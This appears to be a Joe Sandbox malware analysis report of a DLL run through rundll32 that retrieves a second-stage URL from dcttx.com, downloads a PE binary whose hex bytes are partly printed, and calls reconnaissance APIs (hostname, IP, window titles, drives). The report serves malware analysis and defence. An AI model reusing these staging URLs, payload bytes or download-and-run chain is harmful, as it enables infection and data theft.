2024-12-22 08:29:05 UTC	16384	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 1f 71 ff ff ff b6 88 00 00 00 e8 14 71 ff ff ff b6 8c 00 00 00 e8 09 71 ff ff ff b6 90 00 00 00 e8 fe 70 ff ff ff b6 94 00 00 00 e8 f3 70 ff ff ff b6 98 00 00 00 e8 e8 70 ff ff ff b6 9c 00 00 00 e8 dd 70 ff ff ff b6 a0 00 00 00 e8 d2 70 ff ff ff b6 a4 00 00 00 e8 c7 70 ff ff ff b6 a8 00 00 00 e8 bc 70 ff ff ff b6 bc 00 00 00 e8 b1 70 ff ff ff b6 c0 00 00 00 e8 a6 70 ff ff ff b6 c4 00 00 00 e8 9b 70 ff ff ff b6 c8 00 00 00 e8 90 70 ff ff ff b6 cc 00 00 00 e8 85 70 ff ff 83 c4 40 ff b6 d0 00 00 00 e8 77 70 ff ff ff b6 b8 00 00 00 e8 6c 70 ff ff ff b6 d8 00 00 00 e8 61 70 ff ff ff b6 dc 00 00 00 e8 56 70 ff ff ff b6 e0 00 00 00 e8 4b 70 ff ff ff b6 e4 00 00 00 e8 40 70 ff ff ff b6 e8 00 00 00 e8 35 70 ff ff ff b6 ec 00 00 00 e8 2a Data Ascii: qqqpppppppppppp@wplpapVpKp@p5p*
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 75 f8 53 ff 75 14 ff 75 10 ff 75 0c 56 e8 9f fb ff ff 83 c4 20 e8 3c 5b ff ff 83 b8 94 00 00 00 00 74 05 e8 59 84 ff ff 5f 5e 5b c9 c3 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 ca 30 ff ff c7 06 88 77 41 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 53 56 57 e8 ff 5a ff ff 83 b8 0c 02 00 00 00 8b 45 18 8b 4d 08 bf 63 73 6d e0 be ff ff ff 1f bb 22 05 93 19 75 20 8b 11 3b d7 74 1a 81 fa 26 00 00 80 74 12 8b 10 23 d6 3b d3 72 0a f6 40 20 01 0f 85 93 00 00 00 f6 41 04 66 74 23 83 78 04 00 0f 84 83 00 00 00 83 7d 1c 00 75 7d 6a ff 50 ff 75 14 ff 75 0c e8 7a f4 ff ff 83 c4 10 eb 6a 83 78 0c 00 75 12 8b 10 23 d6 81 fa 21 05 93 19 72 58 83 78 1c 00 74 52 39 39 75 32 83 79 10 03 72 2c 39 59 14 76 27 8b 51 1c 8b 52 08 85 d2 74 1d 0f b6 75 24 56 ff 75 20 ff 75 1c 50 ff 75 14 ff Data Ascii: uSuuuV <[tY_^[UVu0wA^]USVWZEMcsm"u ;t&t#;r@ Aft#x}u}jPuuzjxu#!rXxtR99u2yr,9Yv'QRtu$Vu uPu
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 00 00 00 ff ff ff ff b0 40 41 00 00 00 00 00 bb 40 41 00 01 00 00 00 c6 40 41 00 02 00 00 00 d1 40 41 00 03 00 00 00 de 40 41 00 04 00 00 00 ec 40 41 00 05 00 00 00 f9 40 41 00 06 00 00 00 06 41 41 00 07 00 00 00 13 41 41 00 07 00 00 00 1e 41 41 00 09 00 00 00 2c 41 41 00 0a 00 00 00 3a 41 41 00 0b 00 00 00 48 41 41 00 22 05 93 19 0d 00 00 00 e0 7e 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 80 41 41 00 00 00 00 00 8b 41 41 00 22 05 93 19 02 00 00 00 6c 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff c0 41 41 00 ff ff ff ff cb 41 41 00 22 05 93 19 02 00 00 00 a0 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff f0 41 41 00 Data Ascii: @A@A@A@A@A@A@AAAAAAA,AA:AAHAA"~AAAAA"lAAAAA"AAA
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-22 08:29:05 UTC	9507	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49733	38.147.186.138	443	1900	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:29:04 UTC	56	OUT	GET /19/7.txt HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:29:05 UTC	270	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:29:04 GMT Content-Type: text/plain Content-Length: 27 Last-Modified: Thu, 19 Dec 2024 15:28:55 GMT Connection: close ETag: "67643bb7-1b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:29:05 UTC	27	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 63 74 74 78 2e 63 6f 6d 2f 31 39 2f 37 37 2e 62 69 6e Data Ascii: https://dcttx.com/19/77.bin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	38.147.186.138	443	1900	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:29:06 UTC	57	OUT	GET /19/77.bin HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:29:07 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:29:07 GMT Content-Type: application/octet-stream Content-Length: 140288 Last-Modified: Thu, 19 Dec 2024 15:27:56 GMT Connection: close ETag: "67643b7c-22400" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:29:07 UTC	16093	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 50 05 00 20 02 00 ff d0 c3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 0c 41 1d a6 6d 2f 4e a6 6d 2f 4e a6 6d 2f 4e c9 1b b1 4e b2 6d 2f 4e c9 1b 85 4e d0 6d 2f 4e c9 1b 84 4e 8a 6d 2f 4e af 15 bc 4e ad 6d 2f 4e a6 6d 2e 4e 29 6d 2f 4e c9 1b 80 4e ab 6d 2f 4e c9 1b b2 4e a7 6d 2f 4e 52 69 63 68 a6 6d 2f 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 74 12 b6 66 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZERXP @!L!This program cannot be run in DOS mode.$Am/Nm/Nm/NNm/NNm/NNm/NNm/Nm.N)m/NNm/NNm/NRichm/NPELtf
2024-12-22 08:29:07 UTC	16384	IN	Data Raw: 08 89 4b 04 89 9e 80 01 00 00 ff 86 78 01 00 00 57 89 9e 7c 01 00 00 ff 15 24 50 41 00 b8 01 00 00 00 5f 5b 8b e5 5d c3 b9 01 00 00 00 53 8d be 98 00 00 00 89 4e 30 c7 46 34 03 00 00 00 89 46 38 89 4e 3c e8 5a d5 ff ff 85 c0 75 0d 8b 13 53 50 8b 02 50 ff 15 e4 50 41 00 5f 33 c0 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f0 ff 15 4c 50 41 00 8b d8 8b 46 64 83 f8 03 0f 84 cf 00 00 00 8d be 5c 01 00 00 57 e8 0b ec ff ff 8b 4e 64 83 f9 01 74 0b 8b 56 64 85 d2 0f 85 aa 00 00 00 c7 46 64 02 00 00 00 c7 07 00 00 00 00 8b c3 e8 b4 01 00 00 8b 46 60 85 c0 74 20 83 7e 3c 00 74 13 8b 4e 40 6a 00 6a 10 68 40 74 41 00 51 ff 15 f4 51 41 00 c7 46 60 00 00 00 00 83 7e 30 00 74 22 8b 56 48 52 e8 7e ec ff ff 8b 46 04 83 c4 04 50 ff 15 38 Data Ascii: KxW\|$PA_[]SN0F4F8N<ZuSPPPA_3[]SVWLPAFd\WNdtVdFdF`t ~<tN@jjh@tAQQAF`~0t"VHR~FP8
2024-12-22 08:29:07 UTC	16384	IN	Data Raw: 00 dd 5d f8 dd 45 f8 59 dd 45 08 59 da e9 df e0 f6 c4 44 7a 0e 56 53 e8 18 40 00 00 dd 45 f8 59 59 eb 22 f6 c3 20 75 ed dd 45 f8 53 83 ec 10 dd 5c 24 08 dd 45 08 dd 1c 24 6a 0c 6a 10 e8 9d 3d 00 00 83 c4 1c 5e 5b c9 c3 6a 0c 68 a0 7b 41 00 e8 7e 1f 00 00 6a 0e e8 47 42 00 00 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 b4 ae 41 00 ba b0 ae 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 a0 f0 ff ff 59 ff 76 04 e8 97 f0 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 6d 1f 00 00 c3 8b d0 eb c5 6a 0e e8 13 41 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 Data Ascii: ]EYEYDzVS@EYY" uES\$E$jj=^[jh{A~jGBYeuNt/AAEt9u,HJPYvYfEmjAYT$L$u<:u.t&:au%t:Aut:au
2024-12-22 08:29:07 UTC	16384	IN	Data Raw: 07 00 00 83 c4 0c 81 ea fe 03 00 00 8b 45 10 89 10 5d c3 8b ff 55 8b ec 51 9b dd 7d fc 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 dd 7d fc db e2 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 9b d9 7d fc 8b 45 0c 8b 4d 08 23 4d 0c f7 d0 66 23 45 fc 66 0b c1 0f b7 c0 89 45 0c d9 6d 0c 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 51 8a 4d 08 f6 c1 01 74 0a db 2d 30 93 41 00 db 5d 08 9b f6 c1 08 74 10 9b df e0 db 2d 30 93 41 00 dd 5d f8 9b 9b df e0 f6 c1 10 74 0a db 2d 3c 93 41 00 dd 5d f8 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f8 9b c9 c3 6a 08 68 50 7c 41 00 e8 10 df ff ff 33 c0 39 05 dc eb 41 00 74 56 f6 45 08 40 74 48 39 05 48 93 41 00 74 40 89 45 fc 0f ae 55 08 eb 2e 8b 45 ec 8b 00 8b 00 3d 05 00 00 c0 74 0a 3d 1d 00 00 c0 74 03 33 c0 c3 33 c0 40 Data Ascii: E]UQ}EUQ}EUQ}EM#Mf#EfEmEUQQMt-0A]t-0A]t-<A]t t]jhP\|A39AtVE@tH9HAt@EU.E=t=t33@
2024-12-22 08:29:08 UTC	16384	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 1f 71 ff ff ff b6 88 00 00 00 e8 14 71 ff ff ff b6 8c 00 00 00 e8 09 71 ff ff ff b6 90 00 00 00 e8 fe 70 ff ff ff b6 94 00 00 00 e8 f3 70 ff ff ff b6 98 00 00 00 e8 e8 70 ff ff ff b6 9c 00 00 00 e8 dd 70 ff ff ff b6 a0 00 00 00 e8 d2 70 ff ff ff b6 a4 00 00 00 e8 c7 70 ff ff ff b6 a8 00 00 00 e8 bc 70 ff ff ff b6 bc 00 00 00 e8 b1 70 ff ff ff b6 c0 00 00 00 e8 a6 70 ff ff ff b6 c4 00 00 00 e8 9b 70 ff ff ff b6 c8 00 00 00 e8 90 70 ff ff ff b6 cc 00 00 00 e8 85 70 ff ff 83 c4 40 ff b6 d0 00 00 00 e8 77 70 ff ff ff b6 b8 00 00 00 e8 6c 70 ff ff ff b6 d8 00 00 00 e8 61 70 ff ff ff b6 dc 00 00 00 e8 56 70 ff ff ff b6 e0 00 00 00 e8 4b 70 ff ff ff b6 e4 00 00 00 e8 40 70 ff ff ff b6 e8 00 00 00 e8 35 70 ff ff ff b6 ec 00 00 00 e8 2a Data Ascii: qqqpppppppppppp@wplpapVpKp@p5p*
2024-12-22 08:29:08 UTC	16384	IN	Data Raw: 75 f8 53 ff 75 14 ff 75 10 ff 75 0c 56 e8 9f fb ff ff 83 c4 20 e8 3c 5b ff ff 83 b8 94 00 00 00 00 74 05 e8 59 84 ff ff 5f 5e 5b c9 c3 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 ca 30 ff ff c7 06 88 77 41 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 53 56 57 e8 ff 5a ff ff 83 b8 0c 02 00 00 00 8b 45 18 8b 4d 08 bf 63 73 6d e0 be ff ff ff 1f bb 22 05 93 19 75 20 8b 11 3b d7 74 1a 81 fa 26 00 00 80 74 12 8b 10 23 d6 3b d3 72 0a f6 40 20 01 0f 85 93 00 00 00 f6 41 04 66 74 23 83 78 04 00 0f 84 83 00 00 00 83 7d 1c 00 75 7d 6a ff 50 ff 75 14 ff 75 0c e8 7a f4 ff ff 83 c4 10 eb 6a 83 78 0c 00 75 12 8b 10 23 d6 81 fa 21 05 93 19 72 58 83 78 1c 00 74 52 39 39 75 32 83 79 10 03 72 2c 39 59 14 76 27 8b 51 1c 8b 52 08 85 d2 74 1d 0f b6 75 24 56 ff 75 20 ff 75 1c 50 ff 75 14 ff Data Ascii: uSuuuV <[tY_^[UVu0wA^]USVWZEMcsm"u ;t&t#;r@ Aft#x}u}jPuuzjxu#!rXxtR99u2yr,9Yv'QRtu$Vu uPu
2024-12-22 08:29:08 UTC	16384	IN	Data Raw: 00 00 00 ff ff ff ff b0 40 41 00 00 00 00 00 bb 40 41 00 01 00 00 00 c6 40 41 00 02 00 00 00 d1 40 41 00 03 00 00 00 de 40 41 00 04 00 00 00 ec 40 41 00 05 00 00 00 f9 40 41 00 06 00 00 00 06 41 41 00 07 00 00 00 13 41 41 00 07 00 00 00 1e 41 41 00 09 00 00 00 2c 41 41 00 0a 00 00 00 3a 41 41 00 0b 00 00 00 48 41 41 00 22 05 93 19 0d 00 00 00 e0 7e 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 80 41 41 00 00 00 00 00 8b 41 41 00 22 05 93 19 02 00 00 00 6c 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff c0 41 41 00 ff ff ff ff cb 41 41 00 22 05 93 19 02 00 00 00 a0 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff f0 41 41 00 Data Ascii: @A@A@A@A@A@A@AAAAAAA,AA:AAHAA"~AAAAA"lAAAAA"AAA
2024-12-22 08:29:08 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-22 08:29:08 UTC	9507	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	03:28:59
Start date:	22/12/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\HLMJbase.dll"
Imagebase:	0xe30000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:28:59
Start date:	22/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:28:59
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:28:59
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:28:59
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:29:02
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	9.6%
Signature Coverage:	13.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	65

Executed Functions

Function 04DB53C0 Relevance: 93.2, APIs: 40, Strings: 13, Instructions: 440
stringnetworklibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04DBF667: _malloc.LIBCMT ref: 04DBF681

_memset.LIBCMT ref: 04DB53FC
_memset.LIBCMT ref: 04DB5415
_memset.LIBCMT ref: 04DB5425
gethostname.WS2_32(?,00000032), ref: 04DB5433
gethostbyname.WS2_32(?), ref: 04DB543D
inet_ntoa.WS2_32 ref: 04DB5455
_strcat_s.LIBCMT ref: 04DB5468
_strcat_s.LIBCMT ref: 04DB5481
inet_ntoa.WS2_32 ref: 04DB54AA
_strcat_s.LIBCMT ref: 04DB54BD
_strcat_s.LIBCMT ref: 04DB54D6
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 04DB5503
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000002,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 04DB5517
GetLastInputInfo.USER32(?), ref: 04DB552A
GetTickCount.KERNEL32 ref: 04DB5530
wsprintfW.USER32 ref: 04DB5565
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 04DB5578
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000296,00000000), ref: 04DB558C
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04DB55E3
wsprintfW.USER32 ref: 04DB55FC
GetForegroundWindow.USER32 ref: 04DB5621
GetWindowTextW.USER32(00000000,000006CE,000000FA), ref: 04DB5638
lstrlenW.KERNEL32(000008CC), ref: 04DB565F
lstrlenW.KERNEL32(00000994), ref: 04DB56C5
GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 04DB5736
GetProcAddress.KERNEL32(00000000), ref: 04DB573D
GetNativeSystemInfo.KERNEL32(?), ref: 04DB574E
GetSystemInfo.KERNEL32(?), ref: 04DB5759
wsprintfW.USER32 ref: 04DB5792
GetCurrentProcessId.KERNEL32 ref: 04DB57A4
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 04DB57BA
K32GetProcessImageFileNameW.KERNEL32(00000000,?,00000104), ref: 04DB57D7
CloseHandle.KERNEL32(04DD5164), ref: 04DB580B
GetTickCount.KERNEL32 ref: 04DB5875
__time64.LIBCMT ref: 04DB5884
__localtime64.LIBCMT ref: 04DB58BB
wsprintfW.USER32 ref: 04DB58F4
GetLocaleInfoW.KERNEL32(00000800,00000002,00000F46,00000040), ref: 04DB5909
GetSystemDirectoryW.KERNEL32(00001184,00000032), ref: 04DB5918
GetCurrentHwProfileW.ADVAPI32(?), ref: 04DB5925

Part of subcall function 04DB8060: GetLogicalDriveStringsW.KERNEL32(000003E8,?,00000AD4,75BF73E0,00000000), ref: 04DB80A2
Part of subcall function 04DB8060: lstrcmpiW.KERNEL32(?,A:\), ref: 04DB80D6
Part of subcall function 04DB8060: lstrcmpiW.KERNEL32(?,B:\), ref: 04DB80E6
Part of subcall function 04DB8060: QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 04DB8116
Part of subcall function 04DB8060: lstrlenW.KERNEL32(?), ref: 04DB8127
Part of subcall function 04DB8060: __wcsnicmp.LIBCMT ref: 04DB813E
Part of subcall function 04DB8060: lstrcpyW.KERNEL32(00000AD4,?), ref: 04DB8174

Strings

AppEvents, xrefs: 04DB5642, 04DB56A8
REMARK, xrefs: 04DB56D2
Network, xrefs: 04DB564E, 04DB56B4
x86, xrefs: 04DB5780, 04DB5785
GROUP, xrefs: 04DB566C
GetNativeSystemInfo, xrefs: 04DB56F6
1.0, xrefs: 04DB568E
%d min, xrefs: 04DB555F
X86 %s, xrefs: 04DB578C
X86, xrefs: 04DB597A
x64, xrefs: 04DB5779
2024.12.19, xrefs: 04DB56E4
kernel32.dll, xrefs: 04DB56FB

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Info$ByteCharMultiSystemWide_strcat_swsprintf$Process_memsetlstrlen$CountCurrentHandleTickWindowinet_ntoalstrcmpi$AddressCloseDeviceDirectoryDriveFileForegroundImageInputLastLocaleLogicalModuleNameNativeOpenProcProfileQueryStringsText__localtime64__time64__wcsnicmp_mallocgethostbynamegethostnamelstrcpy
String ID: %d min$1.0$2024.12.19$AppEvents$GROUP$GetNativeSystemInfo$Network$REMARK$X86$X86 %s$kernel32.dll$x64$x86
API String ID: 1101047656-3885306478
Opcode ID: a9bf0a2291f239a99b1a7eab1be56aa66f17508423fe9dc6a9b17a3a6c80700f
Instruction ID: 8eb93ed12fd88febd644cbf1ea067a9b265202bf40c19dfada239805d5ee7708
Opcode Fuzzy Hash: a9bf0a2291f239a99b1a7eab1be56aa66f17508423fe9dc6a9b17a3a6c80700f
Instruction Fuzzy Hash: B1F194B1A40304EFDB24DF64DC95FDB77B8EB48704F004599E64A97281EA70BA48CFA5

Function 6CC1481F Relevance: 85.5, APIs: 46, Strings: 9, Instructions: 2979COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CC14875
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC14886
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC149AB
memmove.VCRUNTIME140(?,?,00000148), ref: 6CC149DF
memmove.VCRUNTIME140(?,?,00000148), ref: 6CC149F7
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC14A3A
memmove.VCRUNTIME140(?,?,00000188), ref: 6CC14A7C
memmove.VCRUNTIME140(?,?,00000029), ref: 6CC14C4B

Strings

P, xrefs: 6CC15FC1
uri host is valid header value, xrefs: 6CC17895
authority implies host, xrefs: 6CC178AD
domain is valid Uri, xrefs: 6CC17849
Flatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\future\flatten.rs, xrefs: 6CC177E9
U9W{, xrefs: 6CC152AE
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CC17801, 6CC17861
cannot poll Select twice, xrefs: 6CC14981
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CC177D7

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
